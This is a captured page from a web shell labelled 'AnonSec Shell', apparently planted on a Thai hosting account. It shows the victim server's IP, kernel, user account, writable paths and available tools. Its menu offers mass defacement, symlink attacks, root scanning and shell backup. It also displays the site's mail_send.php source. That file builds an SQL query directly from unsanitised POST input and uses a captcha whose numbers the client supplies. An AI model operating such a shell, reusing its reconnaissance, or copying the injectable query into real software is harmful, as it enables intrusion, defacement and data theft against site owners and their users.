AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 104.23.243.33   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/taladonnuch.com/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/taladonnuch.com/include/mail_send.php
<?php require_once("../include/class.php");?>
<?php
$name_table='mail_news';


$captchaResult = $_POST["captchaResult"];
$firstNumber = $_POST["firstNumber"];
$secondNumber = $_POST["secondNumber"];

$checkTotal = $firstNumber + $secondNumber;
if ($captchaResult == $checkTotal)
{
	$sql = array('table'=>$name_table,'count'=>'MAX(id) AS max_id','where'=>"mail = '".$_POST["mail"]."'");
	$view_sql = $view_db->view($sql);
	$row = $view_db->q($view_sql);

	$date = date("Y-m-d H:i:s");
	if($row['max_id'] == '')
	{
		$list = array(
				'table'=>$name_table,
				'mail'=>"'".@$_POST["mail"]."'",
				'createdate'=>"'".$date."'",
				'up_date'=>"'".$date."'"
			);

		$add = $actiondata_db->add_db($list);

		if( $add['suc']==1)
		{
			include("../include/mail.php");


			$to = $_POST["mail"];
			$from = '[email protected]';
			$sub = 'รับข่าวสารสินค้า';
			$today = date("d/m/Y");

			$msg =
			'
				<img src="'.$upload.'image/thankyoumail.jpg" width="800" height="600">

			';
			$body = $msg.$contact;
			//exit;
			$mail->SetFrom($from, $from);
			$mail->AddReplyTo($from, $from);

			$mail->MsgHTML($body);
			$mail->Subject = 'หอมหวล ชุดปฏิบัติธรรม :: '.$sub;
			$mail->AddAddress($to); // ผู้รับ

			if(!$mail->Send())
			{
				//echo "<meta http-equiv=\"refresh\" content=\"0; url=../main/index.php?menu=7&&msg=2\">";
				echo "<br> Mailer Error: " . $mail->ErrorInfo;
				unset($_SESSION['er']);
				exit();
			}
		}
		$_SESSION['er'] = 'true';
		if( $add['suc'] <> 1)
		{
			$_SESSION['er'] = 'false';
		}
	}
	else
	{
		$_SESSION['er'] = 'false-mail';

	}
}
else
	{
		$_SESSION['er'] = 'false-message';

	}




?>
<meta http-equiv="refresh" content="0;URL=../home/index.php#mail_send">
<?php
exit;

Anon7 - 2022
AnonSec Team